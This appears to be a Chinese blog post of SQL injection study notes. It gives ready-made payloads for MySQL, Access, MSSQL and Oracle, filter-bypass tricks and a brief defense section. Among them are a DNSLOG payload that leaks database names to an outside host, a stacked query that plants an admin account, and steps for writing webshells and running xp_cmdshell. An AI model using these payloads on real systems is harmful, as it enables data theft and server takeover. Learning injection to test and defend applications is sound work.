一、MySQL 注入核心知识点
MySQL 默认系统库
安装 MySQL 以后必定会自带的库information_schema:核心库:存放所有数据库、表、字段数据
关键schemata:存所有数据库名tables:存所有表名、所属数据库columns:存所有字段名、所属表和数据库
MySQL 注入分类
联合查询注入、报错注入、布尔盲注、时间盲注、UA/Referer/Cookie 注入、宽字节、堆叠注入、DNSLOG 外带、文件读写 Getshell
常用核心函数
报错函数
extractvalue 原理:XPath 语法格式错误时触发报错
字符型:'and+(extractvalue(1,concat(0x7e,(select+user()))))='1
数字型:and (extractvalue(1,concat(0x7e,(select user()))))=1
updatexml 原理:同上XPath 格式触发报错
字符型:'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型:and+(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))=1
GTID_SUBSET ()原理:利用 GTID 格式校验错误,爆出数据库账号
'-GTID_SUBSET(user(),1)-'
字符串截取函数
left :从左侧截取指定位数
mid :从指定位置截取
substr/substring :注入最常用截取函数
判断与编码函数
if (条件,真执行,假执行):时间盲注核心
if(a,b,c)
当a为真时候执行 b;
a为假时执行 c。
常用在时间盲注
and if('a'='a',sleep(1),sleep(5)) --+
case when:
case when 条件 then 正确的结果 else 错误的结果 end
例如:
1'and+1/(case+when+user()+like+'r%'+then+1+else+0+end)='1
ascii:
返回字符串的ascii码
Ascii(substr(a,b,c))=98
例如:
1%27and+ascii(substr(user(),1,1))='114
length:
length(str) 函数的返回值为字符串的字节长度
例如:
数据库长度等于8时,页面返回正常,说明数据库名只有8个字节长度。
1'and+length(database())='8

判断数据库类型
php的网站,常用数据库为MySQL,PostgreSQL
判断数据库类型:
端口号:
MYSQL:3306
PostgreSQL:5432
联合查询注入
流程:判断列数 → 寻找显示位 → 爆库→爆表→爆字段→爆数据
判断列数:order by 数字,报错则超出列数
联合查询语法:union select 1,2,3...
常用函数:group_concat ():拼接所有表 / 字段 / 数据,一次性回显
distinct:去重,避免重复数据
limit 1,1:查询1条数据,索引从1开始,第1条记录
报错注入
适用场景:无正常回显、但有 SQL 错误提示
原理:利用 extractvalue/updatexml XPath 语法非法,把查询数据拼到报错信息里
缺点:单次只能回显 32 位,超长内容需分段截取
布尔盲注
场景:页面只返回正常 / 异常两种状态,无报错无数据回显的情况下
原理:通过页面状态、响应包长度判断条件真假
流程:猜数据库长度→逐字符 ASCII 比对→猜表、猜字段、猜账号密码
时间盲注
场景:页面无论对错都返回一样,只能靠响应时间差判断
核心:sleep (n)
配合 if 函数句式
' and if (substr (database (),1,1)='s',sleep (3),1)--+
响应延迟说明条件成立,以此逐字爆破
HTTP 头注入
UA 注入原理:网站将 User-Agent 写入数据库,未过滤直接执行 SQL利用:Burp 修改 UA 头,带入报错注入 payload
Referer 注入原理:记录访问来源 Referer,直接拼入 SQL 语句利用:修改 Referer 字段构造注入语句
Cookie 注入原理:过滤了 GET/POST 参数,忽略 Cookie 参数利用:修改 Cookie 中的参数,加单引号测试闭合,后续同普通注入
DNSLOG 外带注入


适用:无回显、盲注太慢、怕封 IP 场景
条件:MySQL root 权限secure_file_priv 为空服务器为 Windows 系统
原理:利用 load_file () 发起 DNS 解析请求,把数据库信息拼为子域名,在 DNSLOG 平台查看解析日志
要点:特殊字符需 Hex (16进制)编码,避免域名解析失败
' and (select load_file(concat('\\\\',database(),'.xxx.dnslog.cn/abc')))--+

宽字节注入
原理:数据库 GBK 编码,两个字节视为一个汉字绕过
逻辑:输入 % df%27,后台转义为 % df%5c%27,% df%5c 拼成一个汉字,吃掉转义符 \,单引号成功闭合
适用:PHP+MySQL GBK 编码、自带转义防护的场景
堆叠注入
原理:分号;结束当前 SQL,拼接多条 SQL 语句执行
区别:Union 只能查数据,堆叠可增删改、插账号、执行
任意 SQL句式
';insert into users (id,username,password) values (100,'admin','123456')--+
文件读写 Getshell
前提:root 高权限secure_file_priv 无限制
知晓网站绝对路径读文件:load_file (文件路径)
写木马:union select 一句话木马 into outfile 网站路径
二、Access 注入
适用:ASP 网站默认数据库特征:无系统库、无 information_schema,只能手工猜表、猜列判断库类型:
Access:and exists (select * from msysobjects)Mssql:and exists (select * from sysobjects)
注入流程:猜表名→猜列名→判断字段长度→逐字爆数据常用方式:逐字 ASCII 猜解法偏移注入:不知道列名时用 * 代替所有字段绕过风险:通用 ASP 防注入脚本存在文件写入漏洞,可直接传木马
三、Mssql & Oracle 注入
Mssql(SQL Server)注入
4 大系统库:master、model、msdb、tempdb
报错注入:利用数据类型转换报错 'or 1=convert (int,@@version)--
常用函数:charindex、patindex、replace、replicate
高危操作:开启 xp_cmdshell 执行系统命令备份日志、差异备份写入一句话木马可直接执行系统命令、拿服务器权限。
Oracle 注入
报错注入:利用 dbms_utility.sqlid_to_sqlhash、extractxmlagg 等函数触发报错
盲注:decode () 函数替代 if,配合 substrB 逐字猜解
关键查询:v$version 查版本、all_users 查账号。
四、SQL 注入 Bypass 绕过
等号 = 被过滤
用大小于号:> <<>(不等于)
模糊匹配:like、rlike、regexp 正则
集合匹配:in、between 字符 and 字符。
substr/mid 截取函数被过滤
替代函数:locate、position、instr 实现字符位置判断
substr加ing相同意思substring
或者使用 left right
逗号,被过滤
URL 编码绕过 % EF% BC%8C语法绕过:substr (字符串 from 起始 for 长度) 不用逗号
mid('abc',1,1) mid('abc' from 1 for 1 ) mid被过滤用substr
for也被过滤mid('abc' from -1) right也可以平替-1
limit被过滤
limit0,1 limit 1 offset 0
and/or 被过滤
替换为 &&、||配合 like、if 逻辑替代
通用关键字绕过
大小写绕过:SelEct、dAtaBASE双写绕过:selselectect、ununionion注释绕过:/**/、--+、#、%00编码绕过:URL、ASCII、Hex、Unicode 编码
union select 1,2,3逗号被过滤 union select * from (select 1)a join(select 2)b join (select 3)c
空格被过滤 %09 %0a(换行符) %0b %0c %0d %a0 %00 /**/ /*!select*/低版本可用 ()括号 --%0a
五、SQL 注入防御方案
特殊字符过滤:过滤单引号、双引号、分号、and/or、union、select 等关键字
参数化查询 / 预编译:MyBatis、PDO 预编译语句,杜绝 SQL 拼接
权限最小化:数据库账号不使用 root/sa 高权限,限制文件读写、命令执行
关闭高危函数:MySQL 关闭 load_file、into outfile;Mssql 关闭 xp_cmdshell
WAF 防护:部署 Web 应用防火墙,拦截异常 SQL payload
统一编码规范:避免 GBK 宽字节漏洞,统一 UTF-8 编码。



2395

被折叠的 条评论
为什么被折叠?



